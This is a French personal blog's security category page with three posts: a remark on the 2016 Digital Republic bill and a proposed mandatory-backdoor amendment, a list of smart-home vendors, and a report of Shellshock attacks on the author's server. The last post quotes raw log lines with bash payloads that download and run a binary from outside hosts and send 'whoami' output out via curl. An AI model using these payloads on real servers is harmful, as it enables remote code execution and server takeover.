Archives de catégorie : Sécurité

Projet de loi pour la République Numérique.

En passant

Répondre

A lire : http://www.lefigaro.fr/secteur/high-tech/2016/01/13/32001-20160113ARTFIG00213-l-opposition-denonce-la-loi-numerique-un-texte-ni-fait-ni-a-faire.php

Le projet de loi pour une République numérique est aussi une affaire de chiffres. Trois ans de préparation, 8500 contributions citoyennes et 148.000 votes en ligne ont été nécessaire avant la publication du texte définitif. Son examen à l’Assemblée nationale a finalement débuté mercredi matin. Mais Axelle Lemaire, qui défend le texte, n’est pas au bout de ses peines: plus de 700 amendements ont été déposés par les parlementaires afin de le modifier.

Courage Axelle … Pas facile de vivre en démocratie par moment 🙂 .

J’ai pris un Amendement : http://www.assemblee-nationale.fr/14/amendements/3318/CION_LOIS/CL92.asp . En clair c’est une proposition pour faire une « backdoor obligatoire ». Vive la liberté numérique ! .  C’est superbe en plus on a la même idée que le Kazakhstan. Pas facile d’être dans l’opposition 😉 .

“Ce ne sont pas les chantiers qui manquent mais la volonté politique.”

Smart Home : petite recherche sur Internet …

Publié le par
Répondre

Les solutions « Smart Home » ( ou « Domotique » ) :

1- Archos :

2- Netamo :

3- Google : (Nest) :

4- Apple :

5- Samsung :

6- Honeywell :

7- Insteon :

8- Siemens :

9- Neeo :

10- General Electric :

11- Cocoon :

12- Toshiba :

13- iControl network :

14- Jeedom :

15- Fibaro :

16- Vera :

17- Orange :

18- SimpliSafe :

19- Belkin :

20- Philips :

21- August :

22- Autres projets à suivre :

23- SOMFY :

24-HIVE :

25-Salus Control:

A lire aussi :

CNET Best Samrt Home Device 2015 : http://www.cnet.com/topics/smart-home/best-smart-home-devices/ : « WeMo », « Quirky’s », « SmartThings », « Nest », « Hue », « iSmartAlarm », « SimpliSafe »,  …

Comparatif : http://recombu.com/digital/article/smart-energy-systems-nest-hive-evohome-heat-genius-owl-tado-salus-it500-cosy_M13058.html : « Nest », « EvoHome », « Hive », …

Sécurité : shellshock …

En passant

Répondre

Attaque sur mon serveur :

WinInet Test
curl/7.19.7 (i386-redhat-linux-gnu) libcurl/7.19.7 NSS/3.13.6.0 zlib/1.2.3 libidn/1.18 libssh2/1.4.2 cURL
() { :;}; /bin/bash -c \\ »wget http://ntontomou.com/s ;chmod +x s ; ./s\\« 

Un petit Whois sur : http://www.ntontomou.com/ : https://who.is/whois/ntontomou.com …. il reste plus qu’a contacter http://www.enom.com. Misère.

D’après les logs c’est pas son premier essai :

() { :;}; /bin/bash -c \ »curl http://ntontomou.com/custom/ping.php?domain=sphinux.org\\&whoami=`whoami`\ »

D’abord du PHP puis maintenant un soft en C.

Pour plus d’information sur shellshock : http://linuxfr.org/news/une-faille-nommee-shellshock

Et c’est pas le seul :

  • 2.133.128.30 : KZ : IP_Zebra_Telecom.
  • 37.1.207.83 : NL :
  • ntontomou.com : PA :
  • best-home-based-business-idea.com : CN :

Dans les logs :

() { :;}; /bin/bash -c \"curl -O http://37.1.207.83/log.php?get=aHR0cDovL2JlbGxldnVlaG91c2UuY29tLw==\"
 () { :;}; /bin/bash -c \"curl http://ntontomou.com/custom/ping.php?domain=bellevuehouse.com\\&whoami=`whoami`\"
() { :;}; /bin/bash -c \"wget http://ntontomou.com/custom/ping.php?domain=bellevuehouse.com\\&whoami=`whoami`\"
() { :;}; echo; /usr/bin/wget http://2.133.128.30/robots.txt?http://www.1001vrs.com/cgi-bin/directories/counter/countcombb.pl
() { :;};echo kp8i7xybgo7htfu0hge3$(curl 'http://best-home-based-business-idea.com/bash_count.php?%62%65%6C%6C%65%76%75%65%68